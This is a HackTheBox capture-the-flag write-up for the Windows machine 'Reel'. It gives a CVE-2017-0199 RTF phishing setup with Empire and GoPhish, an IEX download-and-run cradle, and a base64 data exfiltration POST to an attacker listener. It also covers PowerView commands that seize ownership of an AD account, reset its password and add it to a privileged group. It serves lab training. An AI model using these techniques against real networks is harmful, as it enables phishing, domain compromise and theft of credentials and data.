HTB: Reel Writeup
Reel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Reel |
| OS | Windows Server 2012 R2 |
| Difficulty | Hard |
| Points | N/A |
| Release Date | November 2018 |
| IP Address | 10.10.10.77 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Reel is a sophisticated Active Directory exploitation challenge that combines client-side attacks with privilege escalation through DACL misconfiguration. The machine requires initial compromise via a phishing attack leveraging CVE-2017-0199 (RTF document exploit), followed by credential extraction and enumeration of Active Directory permissions using BloodHound. The privilege escalation path involves exploiting DACL (Discretionary Access Control List) ownership and ACE (Access Control Entry) write permissions to escalate from a low-privileged user to Domain Administrator.
TL;DR: Anonymous FTP → Phishing with CVE-2017-0199 RTF exploit → Extract credentials → BloodHound DACL enumeration → Exploit ownership chain → Domain Admin credentials in backup script.
Reconnaissance
Port Scanning
# Initial broad port scanmasscan -p1-65535 10.10.10.77 --rate=1000 -e tun0 > ports
# Extract ports and run detailed nmapports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')nmap -Pn -sV -sC -p$ports 10.10.10.77Results:
| Port | Service | Version |
|---|---|---|
| 21 | FTP | Open (Anonymous login enabled) |
| 22 | SSH | OpenSSH |
| 25 | SMTP | Email service |
| 53 | DNS | Active Directory |
| 135-139, 445 | SMB | Windows file sharing |
| 389, 636 | LDAP | Active Directory services |
| 593, 3268-3269 | Additional RPC/LDAP | Active Directory |
Service Enumeration
FTP Enumeration:
# Connect to FTP with anonymous credentialsftp 10.10.10.77# Login: anonymous
# Download available documentsget "Windows Event Forwarding.docx"get "AppLocker.docx"get "README.txt"Document Analysis:
Using exiftool on “Windows Event Forwarding.docx” reveals the email address: nico@megabank.com
The “AppLocker.docx” document reveals critical security information:
- AppLocker is enabled on the system
- Hash rules are enforced for executables, MSIs, and scripts (.ps1, .vbs, .cmd, .bat, .js)
- The organization is converting documents from RTF to newer formats
- Documents will need to be opened for review by staff
Vulnerability Assessment
Identified Vulnerabilities:
- CVE-2017-0199 - RTF documents can be weaponized to execute arbitrary code via HTA payload
- Unpatched Office/Windows - System vulnerable to RTF exploits
- FTP Anonymous Access - Sensitive documents exposed
- Client-side attack surface - Users will open review documents
- DACL Misconfiguration - Active Directory permissions allow privilege escalation chains
- Cleartext credential storage - Administrator credentials stored in backup scripts
Initial Foothold
Exploitation Path
Phase 1: Infrastructure Setup
The attack requires a multi-component infrastructure:
- Malicious RTF document generator - Using CVE-2017-0199 toolkit
- Empire C2 server - For post-exploitation callbacks
- Phishing email delivery - GoPhish for targeted emails
- Payload hosting - Web server for HTA payload delivery
Phase 2: Payload Creation
# Clone CVE-2017-0199 exploitation toolkitgit clone https://github.com/bhdresh/CVE-2017-0199cd CVE-2017-0199
# Generate malicious RTF file with HTA payload# This tool creates an RTF document that triggers the vulnerability# and executes an HTA file from attacker-controlled serverPhase 3: Empire C2 Setup
# Install and configure PowerShell Empiregit clone https://github.com/EmpireProject/Empirecd Empire
# Generate HTA payload from Empire listener# Configure listener on attacker machine (e.g., 10.10.14.15:8080)# Generate the malicious HTA stager for callbackPhase 4: GoPhish Campaign
# Download and run GoPhishwget https://github.com/gophish/gophish/releases/download/v0.11.3/gophish-v0.11.3-linux-64bit.zipunzip gophish-v0.11.3-linux-64bit.zipchmod +x gophish
# Configure phishing template and send emails to nico@megabank.com# Email content: "Document Review Required - Windows Event Forwarding RTF"# Attachment: malicious RTF file embedding HTA payloadPhase 5: Exploitation
When the target opens the RTF document:
- CVE-2017-0199 vulnerability is triggered
- HTA file is downloaded and executed from attacker web server
- Empire agent callback is established on attacker listener
- Command execution achieved with user privileges (nico)
Result: Successful agent callback and code execution on the system.
Privilege Escalation
Phase 1: Credential Extraction
After initial compromise as user nico, we search for stored credentials:
# Navigate to user's home directory and look for credential filescd C:\Users\nico\Desktopdir -Hidden
# Found: cred.xml (PowerShell credential export)
# Extract credentials from the XML file$credential = import-clixml -path cred.xml$credential.GetNetworkCredential().username$credential.GetNetworkCredential().password
# Results:# Username: HTB\Tom# Password: <extracted from XML>Phase 2: Lateral Movement to Tom
# Use extracted credentials to SSH as Tomssh tom@10.10.10.77# Authenticate with extracted passwordPhase 3: Active Directory DACL Enumeration
Once logged in as Tom, we discover the “AD Audit” folder on the desktop containing BloodHound data and PowerView scripts:
# Enumerate Active Directory groups to identify privilege escalation targets$groups = [adsi] "LDAP://REEL:389/OU=Groups,DC=HTB,DC=LOCAL"$searcher = New-Object System.DirectoryServices.DirectorySearcher $groups$searcher.Filter = '(objectClass=Group)'$results = $searcher.FindAll()foreach ($result in $results) {$group = $result.Properties; $group.name}
# Interesting finding: "Backup_Admins" group identifiedBloodHound Analysis:
# Download and execute SharpHound for data collectionIEX (New-Object Net.Webclient).downloadstring("http://10.10.14.15:8080/SharpHound.ps1")
# Invoke BloodHound with full collectionInvoke-BloodHound -CollectionMethod All
# Exfiltrate BloodHound data back to attacker$Base64String = [System.convert]::ToBase64String((Get-Content -Path 'c:/users/tom/downloads/20181110013202_BloodHound.zip' -Encoding Byte))Invoke-WebRequest -Uri http://10.10.14.15:443 -Method POST -Body $Base64StringOn attacker machine:
# Receive and decode the exfiltrated datanc -lvnp 443 > bloodhound_data.txt
# Decode base64 and extractecho <base64_encoded_data> | base64 -d -w 0 > bloodhound_reel.zipunzip bloodhound_reel.zipImport into BloodHound and run Cypher query:
MATCH (n:User), (m:Group {name: "BACKUP_ADMINS@HTB.LOCAL"}),p=shortestPath((n)-[*1..]->(m)) RETURN pAttack Chain Discovered:
Tom → Change Owner of Claire → Write ACL to Claire → Reset Claire's Password→ Add Claire to Backup_Admins → Claire has Backup access → Admin credentialsPhase 4: DACL Exploitation Chain
Using PowerView (found in the AD Audit folder), we exploit the DACL chain:
# Step 1: Tom takes ownership of Claire's AD objectSet-DomainObjectOwner -Identity claire -OwnerIdentity tom
# Step 2: Tom adds ResetPassword ACL entry for himself on Claire's objectAdd-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
# Step 3: Reset Claire's password to a known value$UserPassword = ConvertTo-SecureString 'Sup3rS3cr3t!' -AsPlainText -Force -VerboseSet-DomainUserPassword -Identity claire -AccountPassword $UserPassword -Verbose
# Step 4: Create credential object for Claire$Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
# Step 5: Add Claire to the Backup_Admins groupAdd-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $CredPhase 5: Domain Administrator Access
# Log in as Claire# Now Claire has membership in Backup_Admins group
# Access Administrator profile and Backup Scripts foldercd "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine"# orcd "C:\Backup"
# Examine backup scriptscat BackupScript.ps1
# Found: Cleartext Domain Administrator credentials in the script!# Credentials: Administrator account for HTB\AdministratorObtain root shell:
# Use extracted Administrator credentials to establish root accessssh administrator@10.10.10.77# orpsexec.py HTB/Administrator:password@10.10.10.77 cmd.exeAlternatively, within PowerShell with admin access:
# Retrieve root flagtype C:\Users\Administrator\Desktop\root.txtAttack Chain Summary
Anonymous FTP Access ↓Enumerate Documents (Windows Event Forwarding.docx, AppLocker.docx) ↓Extract Email: nico@megabank.com & Security Policy Info ↓Setup Malicious Infrastructure (CVE-2017-0199, Empire, GoPhish) ↓Send Phishing Email with Malicious RTF Document ↓Target Opens RTF → CVE-2017-0199 Triggered → HTA Executed ↓Empire Agent Callback (Initial Access as nico) ↓Extract PowerShell Credentials from cred.xml ↓Lateral Movement to User: tom ↓Discover BloodHound Data & Backup_Admins Group ↓Run BloodHound Analysis → Identify DACL Attack Chain ↓Tom: Take Ownership of Claire's Object ↓Tom: Add ResetPassword ACL to Claire ↓Tom: Reset Claire's Password ↓Add Claire to Backup_Admins Group ↓Claire: Access Backup Scripts Folder ↓Extract Cleartext Administrator Credentials ↓Domain Administrator / Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
masscan | Fast initial port discovery |
exiftool | Extract metadata from Office documents |
CVE-2017-0199 toolkit | Generate malicious RTF documents |
Empire | PowerShell C2 framework and payload generation |
GoPhish | Phishing email campaign delivery |
BloodHound | Active Directory privilege escalation mapping |
SharpHound | BloodHound data collection (PowerShell) |
PowerView | Active Directory enumeration and exploitation |
ssh | Remote shell access |
base64 | Credential and data encoding/decoding |
Key Learnings
Techniques Practiced
- Client-side RTF exploitation (CVE-2017-0199) - Weaponizing document formats for initial access
- Credential extraction from PowerShell XML files - Recovering stored credentials programmatically
- Active Directory DACL analysis - Identifying permission-based privilege escalation paths
- BloodHound graph analysis - Mapping complex AD relationships and attack chains
- Phishing infrastructure setup - Creating convincing social engineering campaigns
- PowerView exploitation - Manipulating AD object ownership and ACLs via PowerShell
- Multi-stage exploitation - Chaining multiple vectors for complete domain compromise
Lessons Learned
-
Document metadata is dangerous - Office documents often contain identifying information (email addresses, usernames) exploitable in targeted attacks.
-
AppLocker bypasses exist - Even with AppLocker enabled, HTA payloads and script execution can circumvent restrictions through proper payload delivery.
-
DACL misconfiguration creates escalation chains - AD objects with overly permissive ownership settings and ACLs can be chained together for privilege escalation.
-
Credentials in scripts are common - Legacy systems frequently store plaintext or easily recoverable credentials in backup/maintenance scripts.
-
BloodHound reveals complex relationships - What appears as isolated AD objects can have dangerous permission paths when mapped comprehensively.
-
Social engineering remains effective - Well-crafted phishing emails with organizational context (document review requests) have high success rates.
-
Lateral movement through credentials - Extracting one set of credentials often leads to access for multiple other accounts and systems.
-
Defense-in-depth requires all layers - Even with AppLocker, if the initial access vector succeeds, exploitation can proceed through legitimate tools (PowerView).
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>